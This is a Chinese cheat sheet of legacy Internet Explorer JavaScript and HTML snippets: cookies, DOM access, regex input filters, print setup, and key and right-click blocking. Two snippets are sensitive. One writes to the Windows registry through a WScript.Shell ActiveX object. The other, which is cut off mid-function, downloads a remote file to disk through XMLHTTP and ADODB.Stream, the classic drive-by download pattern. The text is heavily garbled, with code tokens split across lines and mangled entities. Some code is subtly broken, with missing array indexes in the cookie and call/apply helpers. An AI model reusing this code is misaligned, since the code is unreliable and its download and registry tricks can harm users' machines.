document.cookie

菜单事件
document.oncontextmenu

创建元素
 
document.createElement
(
"SPAN"
)
;

 
根据鼠标获得元素:
 
 
document.elementFromPoint
(
event.x
,
event.y
)
.tagName
==
"TD
document.elementFromPoint(event.x,event.y).appendChild(ms)
 
窗体图片
document.images[索引]
窗体事件绑定
document.onmousedown=scrollwindow;
元素
document.窗体.elements[索引]
对象绑定事件
 
document.all.xxx.detachEvent('onclick',a);
 
插件数目
navigator.plugins
取变量类型
 
 
typeof($js_libpath) == "
undefined"
 
下拉框
下拉框.options[索引]
下拉框.options.length
查找对象
 
document.getElementsByName("
r1");
document.getElementById(id);
 
定时
 
timer=setInterval('scrollwindow()',delay);
clearInterval(timer);
 
UNCODE编码
escape() ,unescape
父对象
 
obj.parentElement(dhtml)
obj.parentNode(dom)
 
交换表的行
 
 
TableID.moveRow(2,1)
 
替换CSS
document.all.csss.href = "
a.css
";
并排显示
display:inline
隐藏焦点
hidefocus=true
根据宽度换行
style="
word-
break
:
break-
all"
自动刷新
&lt;meta HTTP-EQUIV="
refresh" CONTENT="
8
;
URL=
http:
//c98.yeah.net"&gt;

简单邮件
<
a href=
"mailto:aaa@bbb.com?subject=ccc&amp;body=xxxyyy"
 target=
"_blank"
>

快速转到位置
obj.scrollIntoView
(
true
)&
lt;
a name
=
"first"
&
gt;

&
lt;
a href=
"#first"
&
gt;
anchors</
a>

网页传递参数
 
 
location.search
(
)
;

 
可编辑
obj.contenteditable
=
true

执行菜单命令
obj.execCommand

双字节字符
/[^\x00-\xff]/

汉字
/[\u4e00-\u9fa5]/

让英文字符串超出表格宽度自动换行
word-
wrap:
 break-
word;
 word-
break
:
 break-
all;

透明背景
&
lt;
IFRAME src=
"1.htm"
 width=
300
 height=
180
 allowtransparency&
gt;&
lt;/
iframe&
gt;

获得style内容
obj.style
.cssText

HTML标签
document.documentElement
.innerHTML

第一个style标签
document.styleSheets
[
0
]

style标签里的第一个样式
document.styleSheets
[
0
]
.rules
[
0
]

防止点击空链接时,页面往往重置到页首端。
 
 
&
lt;
a href=
"javascript:function()"
&
gt;
word[
/
url]

上一网页源
asp:

request.servervariables
(
"HTTP_REFERER"
)

javascript:

document.referrer

 
释放内存
 
 
CollectGarbage(
)
;

 
禁止右键
 
document.oncontextmenu
 =
 function
(
)
 {
 return
 false
;
}

 
禁止保存
 
&
lt;
noscript&
gt;&
lt;
iframe src=
"*.htm"
&
gt;&
lt;/
iframe&
gt;&
lt;/
noscript&
gt;

 
禁止选取
 
&
lt;
body oncontextmenu=
"return false"
 ondragstart=
"return false"
 onselectstart =
"return false"
 onselect=
"document.selection.empty()"
 oncopy=
"document.selection.empty()"
 onbeforecopy=
"return false"
onmouseup=
"document.selection.empty()&gt;
 
禁止粘贴
 
 
&lt;input type=text onpaste="
return
 false
"&gt;
 
地址栏图标
 
&lt;link rel="
Shortcut Icon" href="
favicon.ico
"&gt;
 
favicon.ico 名字最好不变16*16的16色,放虚拟目录根目录下
收藏栏图标
 
&lt;link rel="
Bookmark" href="
favicon.ico
"&gt;
 
查看源码
 
 
&lt;input type=button value=查看网页源代码 onclick="
window.location
 =
 'view-source:'
+
 '<a href="http://www.csdn.net/" target="_blank">http://www.csdn.net/</a>'
"&gt;
 
关闭输入法
 
 
&lt;input style="
ime-
mode:
disabled"&gt;
 
自动全选
 
 
&lt;input type=text name=text1 value="
123
" onfocus="
this
.select
(
)
"&gt;
 
ENTER键可以让光标移到下一个输入框
 
 
&lt;input onkeydown="
if
(
event.keyCode
==
13
)
event.keyCode
=
9
"&gt;
 
文本框的默认值
 
 
&lt;input type=text value="
123
" onfocus="
alert
(
this
.defaultValue
)
"&gt;
 
title换行
 
 
obj.title = "
123
&
amp;
#13sdfs&
amp;
#32
"
 
获得时间所代表的微秒
 
var n1 = new Date("
2004
-
10
-
10
".replace(/-/g, "
\/
")).getTime()
 
窗口是否关闭
 
win.closed
 
checkbox扁平
 
 
&lt;input type=checkbox style="
position:
 absolute;
 clip:
rect(
5px 15px 15px 5px)
"&gt;
 
获取选中内容
 
document.selection.createRange().duplicate().text
 
自动完成功能
 
 
&lt;input  type=text  autocomplete=on&gt;打开该功能 
&lt;input  type=text  autocomplete=off&gt;关闭该功能
 
窗口最大化
 
&lt;body onload="
window.resizeTo
(
window.screen
.width
 -
 4
,
window.screen
.height
-
50
)
;
window.moveTo
(
-
4
,-
4
)
"&gt;
 
无关闭按钮IE
 
 
window.open("
aa.htm
", "
meizz", "
fullscreen=
7
");
 
统一编码/解码
 
 
alert(decodeURIComponent(encodeURIComponent("
http:
//你好.com?as= hehe")))

encodeURIComponent对":""/"";""?"
也编码
 
表格行指示
 
 
&
lt;
tr onmouseover=
"this.bgColor='#f0f0f0'"
 onmouseout=
"this.bgColor='#ffffff'"
&
gt;

 
//各种尺寸

 
s  +=
  "\r
\n
网页可见区域宽:"
+
  document.body
.clientWidth
;
   
s  +=
  "\r
\n
网页可见区域高:"
+
  document.body
.clientHeight
;
   
s  +=
  "\r
\n
网页可见区域高:"
+
  document.body
.offsetWeight
  +
"  (包括边线的宽)"
;
   
s  +=
  "\r
\n
网页可见区域高:"
+
  document.body
.offsetHeight
  +
"  (包括边线的宽)"
;
   
s  +=
  "\r
\n
网页正文全文宽:"
+
  document.body
.scrollWidth
;
   
s  +=
  "\r
\n
网页正文全文高:"
+
  document.body
.scrollHeight
;
   
s  +=
  "\r
\n
网页被卷去的高:"
+
  document.body
.scrollTop
;
   
s  +=
  "\r
\n
网页被卷去的左:"
+
  document.body
.scrollLeft
;
   
s  +=
  "\r
\n
网页正文部分上:"
+
  window.screenTop
;
   
s  +=
  "\r
\n
网页正文部分左:"
+
  window.screenLeft
;
   
s  +=
  "\r
\n
屏幕分辨率的高:"
+
  window.screen
.height
;
   
s  +=
  "\r
\n
屏幕分辨率的宽:"
+
  window.screen
.width
;
   
s  +=
  "\r
\n
屏幕可用工作区高度:"
+
  window.screen
.availHeight
;
   
s  +=
  "\r
\n
屏幕可用工作区宽度:"
+
  window.screen
.availWidth
;

 
//过滤数字

&
lt;
input type=
text onkeypress=
"return event.keyCode&gt;=48&amp;&amp;event.keyCode&lt;=57||(this.value.indexOf('.')&lt;0?event.keyCode==46:false)"
 onpaste=
"return !clipboardData.getData('text').match(/\D
/)"
 ondragenter=
"return false"
&
gt;

//特殊用途

&
lt;
input type=
button value=
导入收藏夹 onclick=
"window.external.ImportExportFavorites(true,'<a href="
http:
//localhost/" target="_blank">http://localhost</a>');"&gt;

&
lt;
input type=
button value=
导出收藏夹 onclick=
"window.external.ImportExportFavorites(false,'<a href="
http:
//localhost/" target="_blank">http://localhost</a>');"&gt;

&
lt;
input type=
button value=
整理收藏夹 onclick=
"window.external.ShowBrowserUI('OrganizeFavorites', null)"
&
gt;

&
lt;
input type=
button value=
语言设置   onclick=
"window.external.ShowBrowserUI('LanguageDialog', null)"
&
gt;

&
lt;
input type=
button value=
加入收藏夹 onclick=
"window.external.AddFavorite('<a href="
http:
//www.google.com/" target="_blank">http://www.google.com/</a>', 'google')"&gt;

&
lt;
input type=
button value=
加入到频道 onclick=
"window.external.addChannel('<a href="
http:
//www.google.com/" target="_blank">http://www.google.com/</a>')"&gt;

&
lt;
input type=
button value=
加入到频道 onclick=
"window.external.showBrowserUI('PrivacySettings',null)"
&
gt;

 
//不缓存

 
&
lt;
META HTTP-
EQUIV=
"pragma"
 CONTENT=
"no-cache"
&
gt;

&
lt;
META HTTP-
EQUIV=
"Cache-Control"
 CONTENT=
"no-cache, must-revalidate"
&
gt;

&
lt;
META HTTP-
EQUIV=
"expires"
 CONTENT=
"0"
&
gt;

 
//正则匹配

 
匹配中文字符的正则表达式: [
\u4e00-
\u9fa5]

匹配双字节字符(
包括汉字在内)[
^
\x00-
\xff]

匹配空行的正则表达式:\n[
\s|
 ]
*
\r
匹配HTML标记的正则表达式:/&
lt;
(
.*
)
&
gt;
.*&
lt;
\/
\1
&
gt;|&
lt;
(
.*
)
 \/&
gt;/
 
匹配首尾空格的正则表达式:(
^
\s*
)
|
(
\s*
$)
(像vbscript那样的trim函数)
匹配Email地址的正则表达式:\w+
(
[
-+
.]
\w+
)
*@
\w+
(
[
-
.]
\w+
)
*
\.\w+
(
[
-
.]
\w+
)
*

匹配网址URL的正则表达式:http:
//([\w-]+\.)+[\w-]+(/[\w- ./?%&amp;=]*)?

 
以下是例子:
利用正则表达式限制网页表单里的文本框输入内容:
 
 
用正则表达式限制只能输入中文:onkeyup=
"value=value.replace(/[^\u
4E00-\u
9FA5]/g,'')"
 onbeforepaste=
"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u
4E00-\u
9FA5]/g,''))"

1.用正则表达式限制只能输入全角字符: onkeyup=
"value=value.replace(/[^\u
FF00-\u
FFFF]/g,'')"
 onbeforepaste=
"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\u
FF00-\u
FFFF]/g,''))"

2.用正则表达式限制只能输入数字:onkeyup=
"value=value.replace(/[^\d
]/g,'') "
onbeforepaste=
"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d
]/g,''))"

3.用正则表达式限制只能输入数字和英文:onkeyup=
"value=value.replace(/[\W
]/g,'') "
onbeforepaste=
"clipboardData.setData('text',clipboardData.getData('text').replace(/[^\d
]/g,''))"

 
//消除图像工具栏

&
lt;
IMG SRC=
"mypicture.jpg"
 HEIGHT=
"100px"
 WIDTH=
"100px"
 GALLERYIMG=
"false"
&
gt;

or
&
lt;
head&
gt;

&
lt;
meta http-
equiv=
"imagetoolbar"
 content=
"no"
&
gt;

&
lt;/
head&
gt;

//无提示关闭

 
function
 Close
(
)

{

 var
 ua=
navigator.userAgent

 var
 ie=
navigator.appName
==
"Microsoft Internet Explorer"
?
true
:
false

 if
(
ie)

 {

      var
 IEversion=
parseFloat(
ua.substring
(
ua.indexOf
(
"MSIE "
)
+
5
,
ua.indexOf
(
";"
,
ua.indexOf
(
"MSIE "
)
)
)
)

  if
(
IEversion&
lt;
 5.5
)

  {

   var
 str  =
 '&lt;object id=noTipClose classid="clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"&gt;'

       str +=
 '&lt;param name="Command" value="Close"&gt;&lt;/object&gt;'
;

       document.body
.insertAdjacentHTML
(
"beforeEnd"
,
 str)
;

       document.all
.noTipClose
.Click
(
)
;

  }

      else

  {

       window.opener
 =
null
;

       window.close
(
)
;

      }

   }

 else

 {

  window.close
(
)

   }

}

 
//取得控件得绝对位置(1)

&
lt;
script language=
"javascript"
&
gt;

function
 getoffset(
e)

{

var
 t=
e.offsetTop
;

var
 l=
e.offsetLeft
;

while
(
e=
e.offsetParent
)

{

t+=
e.offsetTop
;

l+=
e.offsetLeft
;

}

var
 rec =
 new
 Array(
1
)
;

rec[
0
]
  =
 t;

rec[
1
]
 =
 l;

return
 rec
}

&
lt;/
script&
gt;

 
//获得控件的绝对位置(2)

 
oRect =
 obj.getBoundingClientRect
(
)
;

oRect.left

oRect.
 
//最小化,最大化,关闭

&
lt;
object id=
min classid=
"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"
&
gt;

&
lt;
param name
=
"Command"
 value=
"Minimize"
&
gt;&
lt;/
object&
gt;

&
lt;
object id=
max classid=
"clsid:ADB880A6-D8FF-11CF-9377-00AA003B7A11"
&
gt;

&
lt;
param name
=
"Command"
 value=
"Maximize"
&
gt;&
lt;/
object&
gt;

&
lt;
OBJECT id=
close
 classid=
"clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
&
gt;

&
lt;
PARAM NAME
=
"Command"
 value=
"Close"
&
gt;&
lt;/
OBJECT&
gt;

&
lt;
input type=
button value=
最小化 onclick=
min.Click
(
)
&
gt;

&
lt;
input type=
button value=
最大化 onclick=
max.Click
(
)
&
gt;

&
lt;
input type=
button value=
关闭 onclick=
close
.Click
(
)
&
gt;

 
//光标停在文字最后

&
lt;
script language=
"javascript"
&
gt;

function
 cc(
)

{

var
 e =
 event.srcElement
;

var
 r =
e.createTextRange
(
)
;

r.moveStart
(
'character'
,
e.value
.length
)
;

r.collapse
(
true
)
;

r.select
(
)
;

}

&
lt;/
script&
gt;

&
lt;
input type=
text name
=
text1 value=
"123"
 onfocus
=
"cc()"
&
gt;

 
//页面进入和退出的特效

 
进入页面&
lt;
meta http-
equiv=
"Page-Enter"
 content=
"revealTrans(duration=x, transition=y)"
&
gt;

推出页面&
lt;
meta http-
equiv=
"Page-Exit"
 content=
"revealTrans(duration=x, transition=y)"
&
gt;

这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使
用哪种特效,取值为1
-
23
:

  0
 矩形缩小
  1
 矩形扩大
  2
 圆形缩小
  3
 圆形扩大
  4
 下到上刷新
  5
 上到下刷新
  6
 左到右刷新
  7
 右到左刷新
  8
 竖百叶窗
  9
 横百叶窗
  10
 错位横百叶窗
  11
 错位竖百叶窗
  12
 点扩散
  13
 左右到中间刷新
  14
 中间到左右刷新
  15
 中间到上下
  16
 上下到中间
  17
 右下到左上
  18
 右上到左下
  19
 左上到右下
  20
 左下到右上
  21
 横条
  22
 竖条
  23

//网页是否被检索

 
&
lt;
meta name
=
"ROBOTS"
 content=
"属性值"
&
gt;

  其中属性值有以下一些:

  属性值为"all"
:
 文件将被检索,且页上链接可被查询;
  属性值为"none"
:
 文件不被检索,而且不查询页上的链接;
  属性值为"index"
:
 文件将被检索;
  属性值为"follow"
:
 查询页上的链接;
  属性值为"noindex"
:
 文件不检索,但可被查询链接;
  属性值为"nofollow"
:

 
//打印分页

&
lt;
p  style=
"page-break-after:always"
&
gt;
page1&
lt;/
p&
gt;

&
lt;
p  style=
"page-break-after:always"
&
gt;
page2&
lt;/
p&
gt;

 
//设置打印

&
lt;
object id=
"factory"
 style=
"display:none"
 viewastext
classid=
"clsid:1663ed61-23eb-11d2-b92f-008048fdd814"

codebase=
"<a href="
http:
//www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360" target="_blank">http://www.meadroid.com/scriptx/ScriptX.cab#Version=5,60,0,360</a>"

&
gt;&
lt;/
object&
gt;

&
lt;
input type=
button value=
页面设置 onclick=
"factory.printing.PageSetup()"
&
gt;

&
lt;
input type=
button value=
打印预览 onclick=
"factory.printing.Preview()"
&
gt;

&
lt;
script language=
javascript&
gt;

function
 window.onload
(
)

{

// -- advanced features

factory.printing
.SetMarginMeasure
(
2
)
 // measure margins in inches

factory.printing
.SetPageRange
(
false
,
 1
,
 3
)
 // need pages from 1 to 3

factory.printing
.printer
 =
 "HP DeskJet 870C"

factory.printing
.copies
 =
 2

factory.printing
.collate
 =
 true

factory.printing
.paperSize
 =
 "A4"

factory.printing
.paperSource
 =
 "Manual feed"

// -- basic features

factory.printing
.header
 =
 "居左显示&amp;b居中显示&amp;b居右显示页码,第&amp;p页/共&amp;P页"

factory.printing
.footer
 =
 "(自定义页脚)"

factory.printing
.portrait
 =
 false

factory.printing
.leftMargin
 =
 0.75

factory.printing
.topMargin
 =
 1.5

factory.printing
.rightMargin
 =
 0.75

factory.printing
.bottomMargin
 =
 1.5

}

function
 Print
(
frame)
 {

factory.printing
.Print
(
true
,
 frame)
 // print with prompt

}

&
lt;/
script&
gt;

&
lt;
input type=
button value=
"打印本页"
 onclick=
"factory.printing.Print(false)"
&
gt;

&
lt;
input type=
button value=
"页面设置"
 onclick=
"factory.printing.PageSetup()"
&
gt;

&
lt;
input type=
button value=
"打印预览"
 onclick=
"factory.printing.Preview()"
&
gt;<
br style=
"clear: both;"
 />

<
a href=
"http://www.meadroid.com/scriptx/docs/printdoc.htm?static%22  target="
>
具体使用手册,更多信息,点这里</
a>

 
//自带的打印预览

WebBrowser.ExecWB
(
1
,
1
)
 打开 
Web.ExecWB
(
2
,
1
)
 关闭现在所有的IE窗口,并打开一个新窗口 
Web.ExecWB
(
4
,
1
)
 保存网页 
Web.ExecWB
(
6
,
1
)
 打印 
Web.ExecWB
(
7
,
1
)
 打印预览 
Web.ExecWB
(
8
,
1
)
 打印页面设置 
Web.ExecWB
(
10
,
1
)
 查看页面属性 
Web.ExecWB
(
15
,
1
)
 好像是撤销,有待确认 
Web.ExecWB
(
17
,
1
)
 全选 
Web.ExecWB
(
22
,
1
)
 刷新 
Web.ExecWB
(
45
,
1
)
 关闭窗体无提示 
&
lt;
style media=
print&
gt;
 
.Noprint
{
display:
none;
}
&
lt;!--
用本样式在打印时隐藏非打印项目--&
gt;
 
.PageNext
{
page-
break-
after:
 always;
}
&
lt;!--
控制分页--&
gt;
 
&
lt;/
style&
gt;
 
&
lt;
object  id=
"WebBrowser"
  width=
0
  height=
0
  classid=
"CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"
&
gt;
     
&
lt;/
object&
gt;
     
 
&
lt;
center class
=
"Noprint"
 &
gt;

&
lt;
input type=
button value=
打印 onclick=
document.all
.WebBrowser
.ExecWB
(
6
,
1
)
&
gt;
 
&
lt;
input type=
button value=
直接打印 onclick=
document.all
.WebBrowser
.ExecWB
(
6
,
6
)
&
gt;
 
&
lt;
input type=
button value=
页面设置 onclick=
document.all
.WebBrowser
.ExecWB
(
8
,
1
)
&
gt;
 
&
lt;/
p&
gt;
 
&
lt;
p&
gt;
 &
lt;
input type=
button value=
打印预览 onclick=
document.all
.WebBrowser
.ExecWB
(
7
,
1
)
&
gt;
 
&
lt;/
center&
gt;

 
//去掉打印时的页眉页脚

&
lt;
script  language=
"JavaScript"
&
gt;

var
 HKEY_Root,
HKEY_Path,
HKEY_Key;

HKEY_Root=
"HKEY_CURRENT_USER"
;

HKEY_Path=
"\\
Software\\
Microsoft\\
Internet Explorer\\
PageSetup\\
"
;

//设置网页打印的页眉页脚为空

function
 PageSetup_Null(
)

{

try

{

var
 Wsh=
new
 ActiveXObject(
"WScript.Shell"
)
;

HKEY_Key=
"header"
;

Wsh.RegWrite
(
HKEY_Root+
HKEY_Path+
HKEY_Key,
""
)
;

HKEY_Key=
"footer"
;

Wsh.RegWrite
(
HKEY_Root+
HKEY_Path+
HKEY_Key,
""
)
;

}

catch
(
e)
{
}

}

//设置网页打印的页眉页脚为默认值

function
  PageSetup_Default(
)

{

try

{

var
 Wsh=
new
 ActiveXObject(
"WScript.Shell"
)
;

HKEY_Key=
"header"
;

Wsh.RegWrite
(
HKEY_Root+
HKEY_Path+
HKEY_Key,
"&amp;w&amp;b页码,&amp;p/&amp;P"
)
;

HKEY_Key=
"footer"
;

Wsh.RegWrite
(
HKEY_Root+
HKEY_Path+
HKEY_Key,
"&amp;u&amp;b&amp;d"
)
;

}

catch
(
e)
{
}

}

&
lt;/
script&
gt;

&
lt;
input type=
"button"
 value=
"清空页码"
 onclick=
PageSetup_Null(
)
&
gt;

&
lt;
input type=
"button"
 value=
"恢复页码"
 onclick=
PageSetup_Default(
)
&
gt;

 
//浏览器验证

 
function
 checkBrowser(
)

{
 
   this
.ver
=
navigator.appVersion
 
   this
.dom
=
document.getElementById
?
1
:
0
 
   this
.ie6
=
(
this
.ver
.indexOf
(
"MSIE 6"
)
&
gt;-
1
 &
amp;&
amp;
 this
.dom
)
?
1
:
0
;
 
   this
.ie5
=
(
this
.ver
.indexOf
(
"MSIE 5"
)
&
gt;-
1
 &
amp;&
amp;
 this
.dom
)
?
1
:
0
;
 
   this
.ie4
=
(
document.all
 &
amp;&
amp;
 !
this
.dom
)
?
1
:
0
;
 
   this
.ns5
=
(
this
.dom
 &
amp;&
amp;
 parseInt(
this
.ver
)
 &
gt;=
 5
)
 ?
1
:
0
;
 
   this
.ns4
=
(
document.layers
 &
amp;&
amp;
 !
this
.dom
)
?
1
:
0
;
 
   this
.mac
=
(
this
.ver
.indexOf
(
'Mac'
)
 &
gt;
 -
1
)
 ?
1
:
0
;
 
   this
.ope
=
(
navigator.userAgent
.indexOf
(
'Opera'
)
&
gt;-
1
)
;
 
   this
.ie
=
(
this
.ie6
 ||
 this
.ie5
 ||
 this
.ie4
)
 
   this
.ns
=
(
this
.ns4
 ||
 this
.ns5
)
 
   this
.bw
=
(
this
.ie6
 ||
 this
.ie5
 ||
 this
.ie4
 ||
 this
.ns5
 ||
 this
.ns4
 ||
 this
.mac
 ||
 this
.ope
)
 
   this
.nbw
=
(
!
this
.bw
)
 
   return
 this
;

}

 
//计算内容宽和高

&
lt;
SCRIPT  language=
"javascript"
&
gt;

function
  test(
obj)

{

var
  range  =
  obj.createTextRange
(
)
;

alert
(
"内容区宽度:  "
  +
  range.boundingWidth

+
  "px\r
\n
内容区高度:  "
  +
  range.boundingHeight
  +
  "px"
)
;

}

&
lt;/
SCRIPT&
gt;

&
lt;
BODY&
gt;

&
lt;
Textarea id=
"txt"
 height=
"150"
&
gt;
sdf&
lt;/
textarea&
gt;&
lt;
INPUT  type=
"button"
  value=
"计算内容宽度"
  onClick=
"test(txt)"
&
gt;

&
lt;/
BODY&
gt;

 
//无模式的提示框

 
function
 modelessAlert(
Msg)

{

   window.showModelessDialog
(
"javascript:alert(\"
"
+
escape(
Msg)
+
"\"
);window.close();"
,
""
,
"status:no;resizable:no;help:no;dialogHeight:height:30px;dialogHeight:40px;"
)
;

}

 
//屏蔽按键

&
lt;
html&
gt;

&
lt;
head&
gt;

&
lt;
meta http-
equiv=
"Content-Type"
 content=
"text/html; charset=gb2312"
&
gt;

&
lt;
noscript&
gt;&
lt;
meta http-
equiv=
"refresh"
 content=
"0;url=about:noscript"
&
gt;&
lt;/
noscript&
gt;

&
lt;
title&
gt;
屏蔽鼠标右键、Ctrl+
N、Shift+
F10、Alt+
F4、F11、F5刷新、退格键&
lt;/
title&
gt;

&
lt;/
head&
gt;

&
lt;
body&
gt;

&
lt;
script language=
"Javascript"
&
gt;&
lt;!--

//屏蔽鼠标右键、Ctrl+N、Shift+F10、F11、F5刷新、退格键

//Author: meizz(梅花雨) 2002-6-18

function
 document.oncontextmenu
(
)
{
event.returnValue
=
false
;
}
//屏蔽鼠标右键

function
 window.onhelp
(
)
{
return
 false
}
 //屏蔽F1帮助

function
 document.onkeydown
(
)

{

if
 (
(
window.event
.altKey
)
&
amp;&
amp;

(
(
window.event
.keyCode
==
37
)
||
   //屏蔽 Alt+ 方向键 ←

(
window.event
.keyCode
==
39
)
)
)
   //屏蔽 Alt+ 方向键 →

{

alert
(
"不准你使用ALT+方向键前进或后退网页!"
)
;

event.returnValue
=
false
;

}

/* 注:这还不是真正地屏蔽 Alt+ 方向键,
因为 Alt+ 方向键弹出警告框时,按住 Alt 键不放,
用鼠标点掉警告框,这种屏蔽方法就失效了。以后若
有哪位高手有真正屏蔽 Alt 键的方法,请告知。*/

if
 (
(
event.keyCode
==
8
)
  ||
                 //屏蔽退格删除键

(
event.keyCode
==
116
)
||
                 //屏蔽 F5 刷新键

(
event.ctrlKey
 &
amp;&
amp;
 event.keyCode
==
82
)
)
{
 //Ctrl + R

event.keyCode
=
0
;

event.returnValue
=
false
;

}

if
 (
event.keyCode
==
122
)
{
event.keyCode
=
0
;
event.returnValue
=
false
;
}
  //屏蔽F11

if
 (
event.ctrlKey
 &
amp;&
amp;
 event.keyCode
==
78
)
 event.returnValue
=
false
;
   //屏蔽 Ctrl+n

if
 (
event.shiftKey
 &
amp;&
amp;
 event.keyCode
==
121
)
event.returnValue
=
false
;
  //屏蔽 shift+F10

if
 (
window.event
.srcElement
.tagName
 ==
 "A"
 &
amp;&
amp;
 window.event
.shiftKey
)

window.event
.returnValue
 =
 false
;
             //屏蔽 shift 加鼠标左键新开一网页

if
 (
(
window.event
.altKey
)
&
amp;&
amp;
(
window.event
.keyCode
==
115
)
)
             //屏蔽Alt+F4

{

window.showModelessDialog
(
"about:blank"
,
""
,
"dialogWidth:1px;dialogheight:1px"
)
;

return
 false
;

}

}

&
lt;/
script&
gt;

屏蔽鼠标右键、Ctrl+
N、Shift+
F10、Alt+
F4、F11、F5刷新、退格键
&
lt;/
body&
gt;

&
lt;/
html&
gt;

 
//屏蔽打印

&
lt;
style&
gt;

@
media print
{

*
 {
display:
none}

}

&
lt;/
style&
gt;

 
//移动的图层,拖动

&
lt;
span style=
'position:absolute;width:200;height:200;background:red'
 onmousedown=
MouseDown(
this
)
 onmousemove=
MouseMove(
)
 onmouseup=
MouseUp(
)
&
gt;
meizz&
lt;/
span&
gt;

&
lt;
script language=
javascript&
gt;

var
 Obj;

function
 MouseDown(
obj)

{

Obj=
obj;

Obj.setCapture
(
)
;

Obj.l
=
event.x
-
Obj.style
.pixelLeft
;

Obj.t
=
event.y
-
Obj.style
.pixelTop
;

}

function
 MouseMove(
)

{

if
(
Obj!=
null
)

{

Obj.style
.left
 =
 event.x
-
Obj.l
;

Obj.style
.top
 =
 event.y
-
Obj.t
;

}

}

function
 MouseUp(
)

{

if
(
Obj!=
null
)

{

Obj.releaseCapture
(
)
;

Obj=
null
;

}

}

&
lt;/
script&
gt;

 
&
lt;
div id=
"myDiv"
 src=
"logo.gif"
 ondrag=
"doDrag();"
 onmouseover=
"this.style.cursor='hand'"
 style=
"position:absolute;left=100;top=100;"
 onmousedown=
"doMouseDown();"
&
gt;

&
lt;
a href=
"#"
 onclick=
"return false"
&
gt;&
lt;
h1&
gt;
wlecome&
lt;/
h1&
gt;
[
/
url]

&
lt;/
div&
gt;

&
lt;
script language=
"JavaScript"
 type=
"text/javascript"
&
gt;

var
 orgMouseX;

var
 orgMouseY;

var
 orgObjX;

var
 orgObjY;

function
 doDrag(
)

{

var
 myObject=
document.all
.myDiv
;

var
 x=
event.clientX
;

var
 y=
event.clientY
;

myObject.style
.left
=
x-
(
orgMouseX-
orgObjX)
;

myObject.style
.top
=
y-
(
orgMouseY-
orgObjY)
;

}

function
 doMouseDown(
)

{

orgMouseX=
event.clientX
;

orgMouseY=
event.clientY
;

orgObjX=
parseInt(
document.all
.myDiv
.style
.left
)
;

orgObjY=
parseInt(
document.all
.myDiv
.style
.top
)
;

}

&
lt;/
script&
gt;

 
//文档状态改变

&
lt;
iframe src=
"a.html"
 id=
"f"
 name
=
"f"
 scrolling=
"no"
 frameborder=
0
 marginwidth=
0
 marginheight=
0
&
gt;&
lt;/
iframe&
gt;

&
lt;
script&
gt;

var
 doc=
window.frames
[
"f"
]
.document
;

function
 s(
)
{

if
 (
doc.readyState
==
"complete"
)
{

document.all
.f
.style
.height
=
doc.body
.scrollHeight

document.all
.f
.style
.width
=
doc.body
.scrollWidth

}

}

doc.onreadystatechange
=
s
&
lt;/
script&
gt;

 
//刷新后不变的文本框

&
lt;
HTML&
gt;

&
lt;
HEAD&
gt;

&
lt;
META NAME
=
"save"
 CONTENT=
"history"
&
gt;

&
lt;
STYLE&
gt;

.sHistory
 {
behavior:
url(
#default#savehistory)
;
}

&
lt;/
STYLE&
gt;

&
lt;/
HEAD&
gt;

&
lt;
BODY&
gt;

&
lt;
INPUT class
=
sHistory type=
text id=
oPersistInput&
gt;

&
lt;/
BODY&
gt;

&
lt;/
HTML&
gt;

 
//访问剪贴板

 
(
1
)
拖拽访问
 
event.dataTransfer
.setData
(
"URL"
,
 oImage.src
)
;

sImageURL =
 event.dataTransfer
.getData
(
"URL"
)
;

 
(
2
)
普通访问
 
 
window.clipboardData
.setData
(
"Text"
,
oSource.innerText
)
;

window.clipboardData
.getData
(
"Text"
)
;

 
//操作COOKIE

 
function
 SetCookie(
sName,
 sValue)

{

 document.cookie
 =
 sName +
 "="
 +
 escape(
sValue)
 +
 "; "
;

}

function
 GetCookie(
sName)

{

 var
 aCookie =
 document.cookie
.split
(
"; "
)
;

 for
 (
var
 i=
0
;
 i &
lt;
 aCookie.length
;
 i++
)

 {

   
  var
 aCrumb =
 aCookie.split
(
"="
)
;

  if
 (
sName ==
 aCrumb[
0
]
)
 
  return
 unescape(
aCrumb[
1
]
)
;

 }

 
}

function
 DelCookie(
sName)

{

document.cookie
 =
 sName +
 "="
 +
 escape(
sValue)
 +
 "; expires=Fri, 31 Dec 1999 23:59:59 GMT;"
;

}

 
//setTimeout增加参数

&
lt;
script&
gt;

var
 _st =
 window.setTimeout
;

window.setTimeout
 =
 function
(
fRef,
 mDelay)
 {

if
(
typeof
 fRef ==
 'function'
)
{

var
 argu =
 Array.prototype
.slice
.call
(
arguments,
2
)
;

var
 f =
 (
function
(
)
{
 fRef.apply
(
null
,
 argu)
;
 }
)
;

return
 _st(
f,
 mDelay)
;

}

return
 _st(
fRef,
mDelay)
;

}

function
 test(
x)
{

alert
(
x)
;

}

window.setTimeout
(
test,
1000
,
'fason'
)
;

&
lt;/
script&
gt;

 
//自定义的apply,call

 
Function
.prototype
.apply
 =
 function
 (
obj,
 argu)
 {

 if
 (
obj)
 obj.constructor
.prototype
._caller =
 this
;
 
 var
 argus =
 new
 Array(
)
;

 for
 (
var
 i=
0
;
i&
lt;
argu.length
;
i++
)

  argus =
 "argu["
 +
 i +
 "]"
;

 var
 r;

 eval
(
"r = "
 +
 (
obj ?
 (
"obj._caller("
 +
 argus.join
(
","
)
 +
 ");"
)
 :
 (
"this("
 +
 argus.join
(
","
)
 +
 ");"
)
)
)
;

 return
 r;

}
;

Function
.prototype
.call
 =
 function
 (
obj)
 {

 var
 argu =
 new
 Array(
)
;

 for
 (
var
 i=
1
;
i&
lt;
arguments.length
;
i++
)

  argu[
i-
1
]
 =
 arguments;

 return
 this
.apply
(
obj,
 argu)
;

}
;
       
 
//下载文件

 
function
 DownURL(
strRemoteURL,
strLocalURL)

{

 try

 {

  var
 xmlHTTP=
new
 ActiveXObject(
"Microsoft.XMLHTTP"
)
;

  xmlHTTP.open
(
"Get"
,
strRemoteURL,
false
)
;

  xmlHTTP.send
(
)
;

  var
 adodbStream=
new
 ActiveXObject(
"ADODB.Stream"
)
;

  adodbStream.Type
=
1
;
//1=adTypeBinary

  adodbStream.Open
(
)
;

  adodbStream.write
(
xmlHTTP.responseBody
)
;

  adodbStream.SaveToFile
(
